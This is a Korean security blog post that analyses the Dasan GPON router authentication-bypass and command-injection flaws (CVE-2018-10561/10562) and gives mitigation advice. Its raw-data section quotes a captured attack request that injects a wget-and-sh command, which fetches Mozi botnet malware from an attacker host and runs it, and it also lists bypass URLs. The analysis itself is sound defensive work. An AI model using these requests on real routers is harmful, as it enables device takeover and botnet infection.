1. 개념
vpnMentor의 연구원들은 한국에 본사를 둔 다산 존 솔루션 제조업체의 취약점에 대해 2018년도에 발표한 적이 있다. GPON 펌웨어 분석 결과 장치의 모든 인증을 우회하는 취약점과 우회를 통해 다른 명령을 주입할 수 있는 취약점이 발견됐다. 이는 중국의 보안 IT회사에서 공격자가 취약한 라우터를 봇넷 악성 코드 네트워크에 추가하기 위해 두 가지 결함을 모두 악용하기 시작했다는 사실이 발견된 후, 한국에서도 공격이 많이 탐지되고 있다.
2. 취약시스템
Dasan GPON Routers ZNID-GPON-25xx senes
Dasan GPON Routers H640series
외 Dasan GPON 가정용 라우터
3. 공격 설명
Dasan GPON Home Router에서 인증 우회 취약점(CVE-2018-10561), 임의 코드 삽입 취약점(CVE-2018-10562)이 발견되었고 이 취약점들을 결합하면 장치와 네트워크 모두 제어당하는 위험성이 있다.
- 인증 우회 취약점(CVE-2018-10561)
인증을 우회하는 취약점은 공격자가 취약한 라우터 URL에 ?images/문자열을 추가하는 것만으로도 로그인 인증 페이지를 쉽게 우회할 수 있다. 간단한 명령어 하나로 왜 인증 우회가 가능하나면, 다산 라우터는 외부에서 라우터 인터페스에 접근할 수 있는 원격관리 기능이 있으며 그중에서도 특정 라우터에서는 원격 ping을 허용하는 GponForm/ diag_Form 파일이 존재한다. 이러한 파일 뒤에 토큰 확인을 우회하는 images를 추가하여 우회하면 누구나 게시 요청을 보낼 수 있기 때문에 이러한 취약점이 존재하게 된 것이다. 예를 들자면, 하기와 같은 공격 시도가 있다.
POST /GponForm/diag_Form?images/ HTTP/
GET /diag.html?images/ HTTP/
GET /menu.html?images/
- 임의 코드 삽입 취약점(CVE-2018-10562)
인증 우회를 통해 취약한 라우터와 연결되면 diag_action=ping 요청으로 dest_host 매개변수를 통해 공격자는 시스템에서 임의의 코드를 실행할 수 있다. 해당 라우터는 ping 결과를 /tmp에 저장하고 사용자가 /diag.html을 다시 방문할 때 이를 사용자에게 전송하기 때문에 공격자가 임의의 명령을 실행하고 출력을 검색하기 쉽다.
4. Rawdata를 참고해보자면, 공격자는 URL에 인증 우회를 위한 ?images/ 통해 해당 시스템에 접근 후 공격자 자신의 페이지에 있는 Mozi.m 파일을 /tmp 디렉터리에 gpon80으로 저장하고 쉘스크립트 파일을 실행시키려는 명령어 주입을 시도하고 있음을 알 수 있다.
GET /GponForm/diag_Form?images?XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=
4. Raw data
POST /GponForm/diag_Form?images/ HTTP/1.1
Host: <피해 IP>
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Hello, World
Content-Length: 118
XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+<공격자 IP>/Mozi.m+-O+->/tmp/gpon80;sh+/tmp/gpon80&ipv=0
5. 해결 방법
- 해당 라우터의 취약점이기에 벤더사에서 제공하는 최신 버전으로 주기적으로 업데이트를 해야 한다..
- 보안솔루션 장비로 해당 공격 접근 및 차단하여 대응한다.
6. 참고자료
https://www.exploit-db.com/exploits/44576 (실제 공격에 사용되는 Exploit Code)
https://www.vpnmentor.com/blog/critical-vulnerability-gpon-router/
https://thehackernews.com/2018/05/protect-router-hacking.html
https://security.stackexchange.com/questions/204096/how-do-the-cve-2018-10562-and-cve-2018-10561-exploits-work
'Security & Hacking > Vulnerability' 카테고리의 다른 글
[CVE-2017-5638] Apache Struts2 Jakarta Multipart Parser RCE.H (0) | 2021.08.11 |
---|---|
[VisualDoor] SonicWall SSL-VPN RCE Exploit (0) | 2021.06.08 |
[CVE-2018-20062] ThinkPHP Remote Code Execution Vulnerability (0) | 2021.06.02 |
[CVE-2015-2051] D-Link Router HNAP SOAPAction Command Injection (0) | 2021.05.31 |
[CVE-2016-6277] NETGEAR cgi-bin RCE 취약점 (0) | 2021.05.31 |